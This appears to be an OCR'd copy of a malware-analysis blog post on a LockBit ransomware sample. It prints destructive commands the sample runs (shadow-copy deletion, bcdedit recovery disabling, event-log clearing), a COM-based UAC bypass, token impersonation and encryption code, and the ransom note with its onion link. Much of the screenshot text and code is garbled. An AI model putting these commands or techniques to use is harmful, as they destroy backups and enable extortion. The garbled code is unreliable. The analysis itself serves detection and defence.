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LockBit is a relatively new family of ransomware that has been discovered for the first time in

2019, and since then, it keeps evolving in both the social and the technical aspects to keep
up with the modern ransomware, for example, in the newest versions, the ransom-note
contains a threat to the victims to leak their private data if the victim just restored his data
from a backup and didn’t pay the ransom, they explicitly reminds them with the GDPR as a
direct way of extortion, as for the technical aspect, they started using multi-threading to
enhance the performance of the malware and some other technical details that will be
described in this story .

So, let’s take a closer look at a sample that have been recently published.

Sample Info.

e 5761ee98blc2feal31b5408516a8929%¢ea

e 4d043df23e55088bfc04c14dfb9ddb329a703ccl

e 0a937d4fe8aabch947b95841c490d73e452a3cafcd92645afc353006786aba76
e Ox5E4A2B92 (Sun Feb 16 21:58:42 2020)

NOTE: This is the final payload so, we’ll directly dive into the real nefarious stuff of the
malware.

A Quick Look

By having a very quick look at the sample to get an idea of what kind of binary we’ll be
dealing with, it appears that the the section names are very normal, the entropy are a little
high for the .text andthe .rdata sections but not that high, which indicates that most
probably this binary is not packed however, it applies some obfuscation techniques.

1/31


https://amgedwageh.medium.com/lockbit-ransomware-analysis-notes-93a542fc8511
https://amgedwageh.medium.com/?source=post_page-----93a542fc8511--------------------------------
https://amgedwageh.medium.com/?source=post_page-----93a542fc8511--------------------------------

Total

Section()[' text']
Section(1)['.rdata']
Section(2)['.data’]

6.60992

40,000

00,000

Offset

00000000
00000400
0001200
00025800

Offset
00000000

Size
00000400
0001 el
00006600
00000200

Entropy

2.23060
6.36480
6.95288
459347

Status
not packed
not packed

packed

not packed

140,000

The Sections Entropy

A Quick Behavioral Analysis

NOTE: | usually give the binary any arbitrary name because | don’t know yet what kind
of anti-analysis techniques are being applied so, “lockbit.exe” and “anghami.exe” are

the same binary. — just so you don’t be confused if you’ve noticed that in that
screenshots below.

By having a quick look at the process tree of the malware, we can see a bunch of

dllhost.exe executions with CLSIDs of COM objects that are known to be vulnerable to

UAC bypassing, one of them spawns the lockbit.exe process.

e s e ey
DilHost exe (384)
DilHost exe (388)
DilHost exe (2212)
DilHost exe (3004)
DilHost exe (2332)
% " DiiHost.exe {1532)

2 i lockbit exe (1868)

bededit exe (3]

COM Sumogate
COM Sumogate
COM Sumogate
COM Sumogate
COM Sumogate
COM Sumogate

Windows Comma...
Command Line Int...
(30 WMI Commandiin...
(3| Boot Configurstion...
Boot Configuration...

O0OO0O0O00000000:¢

o g

” * ' =
“Windows'syst... .

Microsoft Corporat...
"Windows'syst... . Microsoft Corporat...
"Windows'syst... I Microsoft Corporat...
“Windows'syst... I Microsoft Corporat...
“Windows'\Sys... I Microsoft Corporat...
“Windows'\Sys... I Microsoft Corporat...
\WserstALOLM. . _
“Windows'Syst... . Microsoft Corporat. ..
"Windows'syst... | Microsoft Corporat...
“Windows'Syst... I Microsoft Corporat. ..
"Windows'syst... | Microsoft Corporat...
Windows'syst... | Microsoft Corporat. ..

NT AUTHORITY... C?
NT AUTHORITY"....
ALOLMachine-PC..
NT AUTHORITY"....
ALOLMachine-PC..
ALOLMachine-PC..
ALOLMachine-PC... "
ALOLMachine-PC..
ALOLMachine-PC..
ALOLMachine-PC..
ALOLMachine-PC..
ALOLMachine-PC .

wmic shadowcopy delete

g e e g

indows"system32\DllHost exe /Processid:{E10FEC3A-F 1 AE-4ADC-AASD-2FEE5525666E}
AWindows'\system 32\DilHost exe /Processid:{E10F6C 3A-F 1AE-4ADC-AAID-2FEGS525666E}
Windows'\system 32\DllHost exe /Processid:{AB8902B4-05CA-4BB6-B720-ASF59079ABDS5)
AWindows'\system 32\DilHost exe /Processid:{E10F6C 3A-F 1AE-4ADC-AAID-2FEGS525666E}
AWindows\SysWOWE4 \DlHost exe /Processid:{3ESFCTFI-9A51-4367-9063-A120244FBECT}
AWindows\SysWOWE4 DlHost exe /Processid:{D2E7041B-2927-42FB-8E9F-7CES3B60CI3T)
Users\ ALOLMachine\Desktop lochkbit exe”

"CAWVindows\System 32emd exe” /c vesadmin delete shadows /all fquiet & wmic shadowcopy d...
wvssadmin delete shadows /all /quist

bededit /set {default} bootstatuspolicy ignorezlfaiures
bededit /set {default} recoveryenabled no
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UAC Bypassing
Also, we can easily notice that it tries to inhibit the system recovery by deleting the shadow
copy, deleting the windows backup catalog, and modifying the boot configuration to disable
windows automatic recovery features.

Process

(=1 8 omd exe (2852)

-oggé WMIC exe (15
[ gz omd exe (1400)
% fwevtutil.exe (7
(=1 8 omd exe (2872)
4 weviutil.exe (2
[ g omd exe (344)
% fwevtutil.exe (3
= g4 omd exe (2440)

& i vssadmin exe
[ g omd exe (2784)
% “bededtt exe (2]
(=1 8 omd exe (2224)
% bededit exe (2]

1= i e e (1756)

4|

L 2

The Process Tree

Neglecting the fact that we already know that we’re dealing with a ransomware, that behavior

Description

Windows Comma...
Command Line Int...
WMI Commandiin...
(3 Boat Corfiguration. ..
(3 Boot Corfiguration...
Command Line Int...
Windows Comma...
Command Ling Int...
Windows Comma...
(2| Boot Corfiguration...
Windows Comma...
(2| Boot Corfiguration. ..
Windows Comma...
Command Line Int...
Windows Comma...
Command Ling Int...
Windows Comma...
WMI Commandiin...
Windows Comma...
Eventing Comman...
Windows Comma...
Ewventing Comman...
Windows Comma...
Eventing Comman...
Windows Comma...
Command Line Int...
Windows Comma...
Boot Corfiguration...
Windows Comma...
Boot Corfiguration...

Windows Cnmma

Image Path

C:\Windows"\Syst...

OOoOO0OO0O00O0000000

CAWindnwsswst

SWindowshsyst..
WWindows'syst...
Windows'syst ...
indows syst...
indows"syst...
indows"syst...
SWindows'syst ..
SWWindows'\syst...
SWindowshsyst..
SWindows'syst ..
SWindows'syst ..
SWWindows'\syst...
SWindowshsyst..
SWindows'syst ..
“\Windows"\Syst...
Windows'\syst...
Windows"syst...
SWindows'syst ..
indows"syst...
SWWindows'\syst...

SWWindows'\syst...
indows"syst...
C\Windows'syst...
C\Windows'syst...

Life Time

Comparry

Microgoft Corporat...
Microgoft Corporat...
Microsoft Corporat...
Microsoft Corporat ...
Microgoft Corporat...
Microgoft Corporat...
Microsoft Corporat...
Microsoft Corporat ...
Microgoft Corporat...
Microgoft Corporat...
Microsoft Corporat...
Microsoft Corporat ...
Microgoft Corporat...
Microgoft Corporat...
Microsoft Corporat...
Microsoft Corporat ...
Microgoft Corporat...
Microgoft Corporat...
Microsoft Corporat...
Microsoft Corporat ...
Microgoft Corporat...
Microgoft Corporat...

Microsoft Comporat..

Owner
ALOLMachine-PC

ALOLMachine-PC...
ALOLMachine-FC...

ALOLMachine-PC
ALOLMachine-PC

ALOLMachine-PC...

ALOLMachine-PC

ALOLMachine-PC...

ALOLMachine-PC
ALOLMachine-PC
ALOLMachine-PC
ALOLMachine-PC
ALOLMachine-PC

ALOLMachine-PC...

ALOLMachine-PC

ALOLMachine-PC...

ALOLMachine-PC

ALOLMachine-PC...

ALOLMachine-PC

ALOLMachine-PC...

ALOLMachine-PC

ALOLMachine-PC...

Command

... "CAWindows\Sys....
vssadmin delete s...
wmic shadowcop...
... bededit /set {def..
... bodedit /set {def..
wbadmin delete c...
... fc vssadmin Delet...
vssadmin Delete ...
... fcbededit fset {d...
... bodedit /set {def..
... /o bodedit /set {d...
... bededit /set {def..
... /o whadmin DELE...
wbadmin DELET...
... /cwhadmin DELE...
wbadmin DELET...
... fcowmic SHADO ..

wimic SHADOWC...
... Jowentutil ¢l secu...
wevtutil ol security
... Jowevtutil cl system
wevtutil ol system

!

ALOLMachine-PC

“\ALOLMachine Bppli...

Microsoft Corporat ...
Microgoft Corporat...
Microgoft Corporat...
Microsoft Corporat...
Microsoft Corporat ...
Microgoft Corporat...
Microgoft Corporat...

Micmsnft Comorat

ALOLMachine-PC...

ALOLMachine-PC

ALOLMachine-PC...

ALOLMachine-PC
ALOLMachine-PC
ALOLMachine-PC
ALOLMachine-PC
Al O Machine-P(

wevtutil ol applica...
... fc vssadmin Delet...
vssadmin Delete ...
... /o bodedit /set {d...
... bededit /set {def..
... fcbededit fset {d...
... bodedit /set {def..
s wharlmin NFIF
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is a quick give away that most probably this is the case.

We can also see that, for some reason, it tries to scan the network by sending a tons of ARP

requests to the entire network.

Frame Mumber

15
16
17
13
19
20
21
22
23
24
25
26
27
28
29
30

Time Date Local Adjusted Time Offset Process Mame Source

13 PM 8/16/2021
13 PM 8/16/2021
13 PM 8/16/2021
13 PM 8/16/2021
13 PM 8/16/2021
13 PM 8/16/2021
13 PM 8/16/2021
13 PM 8/16/2021
13 PM 8/16/2021
13 PM 8/16/2021
13 PM 8/16/2021
13 PM 8/16/2021
13 PM 8/16/2021
13 PM 8/16/2021
13 PM 8/16/2021
13 PM 8/16/2021

RRERBBRREERRRRRR

39.4208809
39.4209229
39.4211631
39.4212341
39.4216545
39.4217688
39.4220102
394220341
39.4222643
39,4222869
39.4225025
39.4227345
39.4227719
39.4229770
39.4230833
39.4232498

ALOLMACHIN. ..
ALOLMACHIN. ..
ALOLMACHIN. ..
ALOLMACHIN. ..
ALOLMACHIN. ..
ALOLMACHIN. ..
ALOLMACHIN. ..
ALOLMACHIN. ..
ALOLMACHIN. ..
ALOLMACHIN. ..
ALOLMACHIN. ..
ALOLMACHIN. ..
ALOLMACHIN. ..
ALOLMACHIN. ..
ALOLMACHIN. ..
ALOLMACHIN. ..

Start Time
8/15/201
8/15/201
8/15/2021
8/15/201
8/15/201
8/15/201
8/15/2021
8/15/201

871572021 _

8/15/2021
8/15/2021
8/15/2021
8/15/2021
8/15/2021
8/15/2021

8/15/2021 |__

8/15/2021
8/15/2021
8/15/2021
8/15/2021
8/15/2021
8/15/2021
8/15/2021
8/15/2021
8/15/2021
8/15/2021
8/15/2021
8/15/2021
8/15/2021
8/15/2021

AR
3

Protocol Mame  Description

Destination
10,10,10,227 ARP
10,10,10,228 ARP
10.10,10,252 ARP
10.10,10.2325 ARP
10.10.10.251 ARP
10,10,10.224 ARP
10,10,10.250 ARP
10,10,10.223 ARP
10,10,10.249 ARP
10,10,10,222 ARP
10,10,10,221 ARP
10.10,10.220 ARP
10.10.10.248 ARP
10.10.10.218 ARP
10,10,10.218 ARP
10,10.247 ARP

10,

ARP:Reguest, 10.
ARP:Reguest, 10,
ARP:Reguest, 10,
ARP:Reguest, 10,
ARP:Reguest, 10,
ARP:Reguest, 10,
ARP:Reguest, 10,
ARP:Reguest, 10,
ARP:Reguest, 10.
ARP:Reguest, 10.
ARP:Reguest, 10,
ARP:Reguest, 10,
ARP:Reguest, 10,
ARP:Reguest, 10,
ARP:Reguest, 10,
ARP:Reguest, 10,

10.
10.
10.
10.
10.
10,
10,
10,
10.
10.
10.
10.
10.
10.
10,
10,

10.3 asks for 10,
10,3 asks for 10,
10.3 asks for 10.
10.3 asks for 10.
10.3 asks for 10.
10,3 asks for 10,
10,3 asks for 10,
10.3 asks for 10,
10.3 asks for 10,
10.3 asks for 10,
10,3 asks for 10,
10.3 asks for 10.
10.3 asks for 10,
10.3 asks for 10.
10,3 asks for 10,
10.3 asks for 10,

10,
10,
10.
10.
10.
10,
10,
10,
10,
10,
10,
10.
10.
10.
10,
10,

10,227
10.228
10.252
10.225
10.251
10,224
10,250
10,223
10.245
10,222
10.221
10.220
10.248
10.218
10.218
10.247

m

-

Network Scanning

And it will try to connect via port 445 (SMB)
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x|

SMB Connection

Network Conversations x | [Display Filter
=5 Al Traffic |;§= Apply ' Remave | ' History = 7 Load Filter = ) SaveFilter 3 Clear Text |
= My Traffic
T <Unknown:> Frame Summary - [Conversation Filter] x
| B0 smen . s ——
| 5.5 Unavaisbie (2792) ZiFind v T 3 Auvtoscroll 2 Color Rules 4 Aliases ~ =2 Columns »
: gf’ 1Pv4 (10.10.10.3 - 10.10,10.2) CornD = 1 Frame Number  Time Date Local Adjusted  Time Offset  Process Name  Source Destination Protocol Name  Desaription
| g/ TPVA(10.10.10.5 - 10.10,10.1) ConviD = 10 276 10:05:38 AM 8/14/2021 2216792704 Unavailable  ALOLMACHIN... 10.10.10.2 TP : , SrcPort=1285, DstPort=Mirosaft-DS(445), PayloadLen=0)
| 18- Unavalable (5020) 251 10:05:33 AM 8/14/2021 2216796036 Unavailable  ALOLMACHIN... 10.10.10.1  TCP : ‘cPort=1286, DstPort=Miosoft DS(445), PayloadLen=0)
LM Cther Traffic 282 10:06:38 AM 8/14/2021  221.5727593 Unavallable  10.10,10.1 ALOLMACHIN,.. TCP : ort=Microsoft-D5(445), DstPort=1286, Payloadlen=|
284 10:05:33 AM B/14/2021  222.1853273 Unavailable  ALOLMACHIN... 10.10.10.1  TCP : cPoct=1236, DstPort=Microsoft-DS(445), PayloadLen=0)
285 10:05:33 AM 8/14/2021  222.1334708 Unavailable  10.10.10.1 ALOLMAGHIN... TCP : Port=Mcrosoft-DS{#45), DstPort=1286, PayloadLen=
538 10:05:30 AM 8/14/2021  222.7056970 Unavailable  ALOLMACHIN... 10.10.10.1  TCP : ‘SrcPoct=1236, DstPort=Microsoft-DS(445), PayloadLen=0| [
539 10:05:39 AM 8/14/2021  222.7058161 Unavallable  10,10,10.1 ALOLMACHIN,..  TCP TCPiFiags=...A.R.., SrPort=Mcrosoft-DS(445), DstPort= 1286, PayloadLen=
1001 10:05:41 AM B/14/2021  224.6761197 Unavailable  ALOLMACHIN... 10.10.10.2  TCP TCP[SYNRETYaNSMIL #276]FI805=......5., SICPOrL=1285, DSPOIt=Mirosoft-D
1576 10:05:43 AM B/14/2021  226.6961213 Unavailable  ALOLMACHIN... 10.10.10.2  TCP TCPiFlags=.....5., SrcPart=1477, DstPort=DCE endpoint resoluton(135), Pa
2280 10:05:45 AM B/14/2021  228.6905315 Unavaiiable  ALOLMACHIN.. 10.10.10.2  TCP TCPi[SynReTransmit £1576]Flagsc......S., Srefort= 1477, DstPort=DCE ancp,
< n [
Frame Details Hex Details %
ief 2 Width = |Prot Off: Frame Off: Sel By

Regarding the Registry, we’ll notice a huge amount of activities that are related to registry
access and modification, but the ones that we’re most interested in are the following keys,

e SOFTWARE\LockBit

e SOFTWARE\LockBit\full
e SOFTWARE\LockBit\Public
e HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\X01XADp001

QRegishyEditnr
File Edit View Favorites Help

" Classes “ || Ma Type Data
b - éllentls |:| 3}3}: REG_SZ (value not =&t}
b J;;g < %] Full REG_BIMARY 2772 3% 83 7h dB b4 3e bl 3295 2f 42 3504 4d 2b d0 ¢4 ¢5 1c d3 9 7 5793 b...
D Loc;;'i’t“ _ || ®4Public REG_BINARY a6 88 61 46 ca be da 0d 43 &5 Te db 82 04 81 91 12 84 28 7 8a 44 2e Ta f4 74 9..,
iy
Computer\HKEY_CURRENT_USER\Software\LockBit
:A -l CurrentVersion = | Mame Type Data
b id':’” Center (|| @b (pefautt) REG_SZ (value not set)
J et . .
LT APpER ~ || aB|X01XADPOOL  REG_SZ "C:\Users\ALOLMachine\Desktophanghami.exe”
4| 1n | b

Computer\HKEY_CURRENT_USER\Software\Microseft\Windows\CurrentVersion\Run

Registry Modification

Finally, the background will be changed and all the files will be encrypted and has the

.lockbit extension.
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All your files are encrypted by LockBit
for more information see Restore-My-Files.txt that is located in every encryp

10:44 AM
B/A4/2021

Changing The Background
And of course, the ransom-note will be dropped.

| Restore-My-Files ot - Notepad [ lie =
File Edit Format View Help

117 your important files are encrypted!

Any attempts to restore your files with the thrid-party software will be fatal for your files!
RESTORE ¥OU DATA POSIBLE ONLY BUYING private key from us.

There i5 only one way to get your files back:

| 1. Download Tor browser - https://www. nrgroz_e:t.org! and install qit.

| 2. open Tink_in TOR_browser - http://lockbitks2tvnmic. onion/?A00155001000C601A65886146CABEDAOD
This 1ink only works in Tor Browser!

| 3. Follow the instructiens on this page

###  arrention! #&#

# po not rename encrypted Tiles.

# po not try to decrypt using third party software, it may cause permanent data Tloss.

# pecryption of your Files with the Fetp of third parties may cause increased price(they add their fee to our).

# Tor Browser may be blocked in your country or corporate network. Use https://bridges.terproject.org or use Tor Browser over VPN.
# Tor Browser user manual https://tb-manualltorproject.org/about

111 we alse download hi

uge amount of your private data, including finance information, cliemts personal info, network diagrams, passwords and so on.
pon't farget about GDPR.

I AL E]
Dropping The Ransom-Note

Analysis Notes
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After performing a full static analysis to the sample and adding meaningful names to the
variables and functions, adding few comments to the important sections of code, de-
obfuscating the strings, and validating the results with a full behavioral analysis, here is some
interesting snippets from the malware that could help us understanding the behavior of it and
build detection for it.

Anti Debugging

The malware checks the NtGlobalFlag which exists inthe PEB (Process Environment

Block) at offset 0x68 to know whether or no the process is being debugged. It performs a
TEST to check the value of the flag, if it equals ©x70 (which means the process is being
debugged), the execution will be transferred to a block of code that exists the process.

0041b160 55 FUSH EBE
0041bl6l b ec MOV EBE, ESE
0041b163 23 =4 £8 AND ESE, OxEfEEEEER
0041bl66 64 al 30 MOV EAX, FS: [0%30]
00 00 00
0041bléc 81 ec 6c SUB ESE, 0x36c
03 00 00
checking the NtGlebalFlhg
0041b172 £6 40 68 70 TEST byte ptr [ELE + 0x68],0x70
0041b176 53 FUSH EBX
0041b177 56 FUSH ESI
0041b178 57 PUSH EDI
0041b179 0f 85 Ob JNZ LAB 0041b38a
02 00 00

Anti Debugging

Also, The malware has multiple calls to Sleep with high number of seconds, this usually
being done to avoid being automatically analyzed inside a free sandbox, as most of the free
sandboxes limit the amount of execution time to a limited number of minutes.

Token Impersonation

The malware will try to impersonate the token of the logged on user via the physical console
by firstly getting session identifier of the console session by calling
WTSGetActiveConsoleSessionId then it will pass that sessionId to
WTSQueryUserToken to obtain the primary access token of the logged user, if it fails to get
the token, it will create the process with the current security context by calling
CreateProcessW however, if it manages to get the user’s access token, it will duplicate the
token by calling DuplicateTokenEx then it will use the duplicate token to create the new
process using CreateProcessAsUserW .
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https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-wtsgetactiveconsolesessionid
https://docs.microsoft.com/en-us/windows/win32/api/wtsapi32/nf-wtsapi32-wtsqueryusertoken
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasuserw

[* 1t will try toc get the sessicn id of the currently logged in user via the
py¥shical conscle; the function will return 0 1f it fails */f

*WISGethotivelonsoleSessionId) () ;

f* if it failes to get the user's token, it will create a process with
CreateProcessW; the function will return 1 */
Var3 = CreateProcessW(0x0,local 2c,0x0,0x0,0,0x10,0x0,0x0,1pStartug
&;FE”TT=E;::fTIKiZi“:J:

if (BVar3 != 0) {

CloseHandle {1pProcessInformation.hProcess) ;
CloseHandle {1pProcessIn mation.hThread) ;
return 1;
}
1
else |

f* 1f it succeeded tc get the loged on user's token, it will duplicate the token
and user it to create a process in the security context of that user */
Vard = DuplicatelokenEx (user t

ren_handle, Oxf01ff, 0x0, SecurityDelegation, TokenPrimary,

if (EVard I=0) {
CloseHandle (uzer token handle):

EVari = CreateProcesshslUserW
local #8,0x0,local 2c,O0x0,0x0,0,0x10,0x0,0x0, 1pStarcupInfo

if (BVar3 != 0) {
CloseHandle (local_
CloseHandle (1pE
CloseHandle (1pFr

)
slnformation.hProceas);

W o

return 1;
}
CloseHandle (local ZE8)r
return 0;
}
CloaeHandle {(user token handle):
1
}
}
return 0;

Token Impersonation
Usually malware use this technique for two reasons:

1. if the impersonated user has a higher privilege.
2. to bypass access controls.

String Obfuscation

This sample has all of its strings encrypted via a simple XO0R encryption with a unique key
for each string, each encrypted sequence of bytes will have the fist byte as the key. The

malware first loads the encrypted strings onto the stack then, it runs the decryption loop. This

loop is being noticed in almost all the functions.
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00408640

00402687
004086689
0040866d

00408673
00408676
004026872
00408a7k
00408a7e

XOR Decryption
Here is a very simple python function | wrote to help me decrypting the strings. This function

0t
70
33
0t
66
aa

Ll

f]
o
7

-
‘

4d

ic

o
-t

£3

a5

43
435
aa

9a
05

10

a0

9a

9k

MOVAFS

ECR
MOVOPS
MOV

LaB 00408673
MOV
EOR
IHNC
CME
JC

¥MMO, xomword ptr [DAT 00424570]

xmmword ptr [EEF + DAT _00424570], X0
word ptr [EEF + local 5a],0xlé
XREF[1]: aag
CL,byte ptr [EEF + DAT 00424570]
byte ptr [EEF + ERX*0xl + DAT 00424570+0x2],CL

-

ER¥, 0x10
LEE 00408673

takes the hex values as a string then it will decrypt it.

import binasciidef xor_decrypt(data):

result =

for byte in data:

Debugging Messages

result += chr(byte N key)return result

data = binascii.unhexlify(data) key = data[0]

This malware does something very cool which is printing what seems to be debugging
messages to a hidden console window. For the malware to be stealthier as much as it could
be, all the strings are obfuscated using the same XOR encryption algorithm we discussed,
after de-obfuscating all the strings and tracking them, analyzing the sample has became

much easier.
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local £ = Oxd;
w3printfA(slocal 538, &local_ ll,slocal 33E8);
GetLocalTime (ecurrent local data and time);
uware = 07

SEO[F.2ur%.2urg.2u] S
time format string = 0x5e552b70;
0x554a0542;
Oxd4al5425e;
uitackZd = 0x5425e55;
local 15 Ox5024;
locel 13 = 0;
do |

=]
L
t C
[ E
[¥] [§
L
| I
[V (1)
o

& + 1;

} while {uVaré < 0xll):
local 13 = 0;
waprintfA(elocal 138, &time format string + 1,current local data and time.wHour,

current_local data and time.wMinute,current_ local data and time.w3econd) ;

if ((local c[0] <= iVard) || (*{in_FS _OFFSET + Ox34) == 0)} {

RtlEnterCriticaliection(sDAT 00427348);
SetThreadUILangquage (0x409) ;

SetConscleTextittribute (* {(* {(1Vard + 0x10) + Oxlec),10):
IVar3 = 0;
while ({local 138 != "»0") |
local 138 = local 137[0War3]:
[WVar3d = IWar3 + 1;
1
WriteFile (* (*(iVard + Oxl10) + Oxlc),s&locel 138,0Vard,local c,0x0);
SetConsoleTextAttribute (* {* (iVard + 0x10) + Oxlc),0xI):
OWVar3 = 0;
while {local 5328 '= "S0') |
local 538 = local 537 [0Wari3];
[WVar3d = IWar3d + 1;
}
WriteFile (* (*(iVard4 + 0x10) + Oxlc),slocal_ 538,0Var3,local_c,0x0);
hifnd = GetlonscleWindow();

EVar: = IsWindowVisible (hWnd) r
if (BVars != 0} |
FlashWindow (tfind, 0) ;
1
RtlleaveCriticalSection (eDAT 00427348) ;
}
Printing Debugging Messages

Generating And Storing the Decryption Keys

The malware uses two algorithms for the encryption which are RSA and AES.
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Firstly, The malware will generate an RSA session key pair then, it will encrypt the private
key using a hard-coded public key then, it stores the encrypted key in the
SOFTWARE\LockBit\full registry key and the public key will be stored in

SOFTWARE\LockBit\Public

ARE \LockBit = 0x24243162;
0x3023353&;
uStackd® = 0xd2e3e27;
uStackd4 = 0xk200901;
local_5& = Oxlé;
do {
pbEVar? = gS0FTWARE\LockBit + uVarl0 + 1;
*pEVar? = *pbVarz ~ 0x62;
uVarll = uWVarl0 + 1;
} while (uVarll < 0x10);
f* SOFTWARE\LockBit */
local _%& = local_5a & OxfL;
ILWarll = RegCreateKeyEXA (0xE0000001, eS0FTHE 0,0xf003L, 0x0,
ptr_reg key han
- “#T vUAUERHR i usn eax (=4
¢ | 00408630 68 01000080 Eush 30000001 i ST(D) 0O000000000000000000 X87r0 Emp
Bg—e FF15 04004200 call dword ptr ds:[<&RegCreatekeyExAx] 5T(1) 00000000000000000000 XKE87rl Emp
e | DD2086AE 85C0 test eax,eax e ST(2) 00000000000000000000 X87r2 Emp
(----@|| 004086A4| + OF85 FEO10000 jne Da937d4fesaacch947b95841c490d73e452 ST(3) 00000000000000000000 X87r3 Emp
i ® | D02086ED B4 22 mov ah,z22 z ST(4) 00000000000000000000 X87r4 Emp
! ®| D04086E2 CE45 F7 00 mov byte ptr ss:[Jebp-3{,0 ST AAARAANAAAAAAARARAAA vOTrE Emn
! ®| DD4086EE B2 4E mov dl,4E ETI I I RTT) r
1 ® | D04036E5 BBES F2 mov byte ptr ss:|[febp-EfJ,ah —
i e [ 004086EE BOD 44 mov al,44 ' 4: | Default (stdcall) '] 5 14 [C] unlocke
i e D04086ED C745 DO 03000000 mov dword ptr ss:[lebp-z04,3 | 1= [esp] =oooo001 |
: ® | Do2086C4 324 xor al,ah 2: [esp+4] DOD18FB33 "SOFTWARE'\LockB
|

4:
dwol &F 5-

rd ptr ds:[00420004 «<0a337d4TeBSaabch347b35841c4930d73e452a3cafcdaz645afc353006786abare.

.Lext:004086A2 0a%937d4Tesaacch947b95841c490d73e452a3calfcdoze45afc353006786abare: $86A2 #TAAL

Y Dump 1 | Wy Dump 2 | Wy Dump 3 | Wy Dump 4 | 4y Dump 5 | @Watchl | [*=] Locals | ;3) b L

Address | Hex ASCIT

- SF2F8
DOJBFE23 153 4F 46 54|57 41 52 45(5C 4C 6F 63|6B 42 69 74| S0FTWAREWLOCKBit ggi;E;EE gggggggg
OD1SFE43| 00 00 00 00|00 08 FE 18|00 00 00 00|00 EC FB 18 o 0018F200 | 0DOFOO3F
0018FB53 |00 50 74 88|7D B8 68 17 |A2 FE FF FF|FF E5 OF 08 .Pt.}lh.tbﬁjya.. nn1:r;n4 ARONMOAR

Creating The SOFTWARE\LockBit Reg. Key
The malware will randomly generate a new AES key for each file. Once it’s being used for
encrypting the file, the AES key will be encrypted using the RSA public session key and
appended to the end of the encrypted file. The debugging messages that we mentioned
earlier have made it easy to detect the function that will generate the session keys as the de-
obfuscated string says “ Generating session keys”!

0018F2FO
0018FZ

3: [esp+3] 00000000
[esp+c] 00000000

[esp+10] 00000000

4|

11 |

2

"SOFTWARE'\LoCKBit"
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S* generating 3sesaion keys */f

= generate session key(ssession_key

oy |

I

_key decryption({session_key,&3ize_same
{

return 0;

1
goto LAB 00403304;

}
Session Keys Generation

The following snippets show the keys storing and querying.

f* SOFTWAREM\LockBit\Fublic */

0x0,&local_34,session_

handle,&local_11,0x0,&local_34, eencrypted session_kevs,

= 1]

£all dword ptr ds: [<&RegiueryvalueExas]
mov esi,eadx

i5: [00420008 <0a937d4Te8aaecbh347b95841c490d73e452a3calfcdaze4safc353006786abare. &R

i6FD 0a937d4fesaa6cha47ba5841c430d73e452a3cafcdaz2645afCc353006786abar6: $86FD #7AFL

HitlDumpZ | ﬂi'thump.?u | lﬂitlDump"r | MDLII'I'IPE | @Wah{hl | [x=JLDG|S | ?i‘l' O0018F2FC | DO1BFEBE
.l DOL8F 300

[esp]l 00000128

[esp+4] OO01BFEBE "Tull™
[esp+8] 0O0OOD0O0D0

[esp+C] 001BFE&S

[esp+10] 00428360 0a337d4

UT o L P

4| 1

00000128
"full”

=5

L2 iduiL LsLaedn T2 =

] i
#{| 00408754 886D EA mov byte pir ss:|ebp-16],ch
» FF15 08004200 call dword ptr ds:[<&ReglueryvalueExAx=]
#| 00408750 85F6 test esi,esi %2

< | i 3

ds: [D0420008 «<0a337d4fedaaccb947b95841c490d73e452a3cafcdaze45afc353006786abar6. &R

8757 0a937d4feBaacch947b95841c490d73e452a3cafcdsz645afc353006786abare: 8757 #7B5]

1 4 Dump 2 | B4 Dump 3 | B4 Dump 4 | B4 Dump 5 | 5 watch 1 | |x=] Locals | ?uﬂ

0018F2ZFC | OD1BFEFD

L L s e tatatatatal

1: [esp] 000DO1Z8

[esp+4] 0O018FE7FD "Public"
[esp+&] 00000000

[esp+C] 00D18FB&S

2:
3:
41
5: [esp+101 O03D3IFAD "\ rd=\r

4 | 1

00000128

"Public"
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Querying The Keys

For generating the random numbers, LockBit will use LoadLibraryA and
GetProcAddress to dynamically load bcrypt.dll forimporting the BCryptGenRandom

API for generating 32 bytes of random numbers, and if it couldn’t load the necessary
libraries, it'll call CryptAcquireContextW and CryptGenRandom to get the job done.

Bocrypt.dll handle = LoadLibraryi(slocal 14);
if (Berypt.dll_handle = 0x0) |
BVarl = CrypticquireContextW({slocal &,0x0,&locel_ 7c,1,0xf0000000)
if {BVerl == 0) {
return 0;
}
}
Fandom stack = 0x79724342;
0x65477470;
0xee6l526e;
Oxedefed;
Fandom = GetProcAddress{Borypt.dll _handle, eBCryptienBandom stack) ;
enBandom '= 0x0) |
enBandom) (0, random num, random rum size,2);

Jarl = CrypticquireContextW(slocal &,0x0,&local_ T7c,1,0xf0000000)
if (BVarl = 0} |

return 07

=

Warl = CryptEenRandom({local &, random rum size, rendom num) ;
£ (8Varl = 0) {

-

CryptBReleaselfontext(local_&,0);
return 0;

}

return 1:

Generating Random Numbers

Utilizing IOCP (Completion 1/O ports)

As we mentioned earlier, LockBit has been technically evolved, one of the technical aspects
is using the Windows I/O Completion ports mechanism for providing an efficient threading
model for processing multiple asynchronous I/O requests on a multiprocessor system.
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https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
https://docs.microsoft.com/en-us/windows/win32/api/bcrypt/nf-bcrypt-bcryptgenrandom
https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta
https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenrandom
https://docs.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports#:~:text=I%2FO%20completion%20ports%20provide,is%20to%20service%20these%20requests.

CompletionPort 00428e64 = CreateloCompletionPort (Oxffffffff, Ox0,0,* (1iVar3 + 100) * 2);

counter = 07
Starting I0 threads = 0x6133467;
uitackdl = 0x90el315;
u3 EET = 0x282e4700;
us 23 = 0x150£1347;
local 4f = 0x14030802;
local 4b = 0x494343%;
do |
rkVarl = &Starting IO threads + counter + 1;
*pbVarl = *pkEVarl ~ 0x&7;
counter = counter + 17
} while ({counter < 0x1&):
f* Starting IO threads... */
local 4b = local_4b & Oxffffff;
print_debuging messagea(eitarting IO threads... + 1);
counter = 07
if (*({iVar3 + 100) '= 0) {
do |
uVar4 = create_thread (decryption thread function,0);
uVari = create_thread (decryption thread function,0);
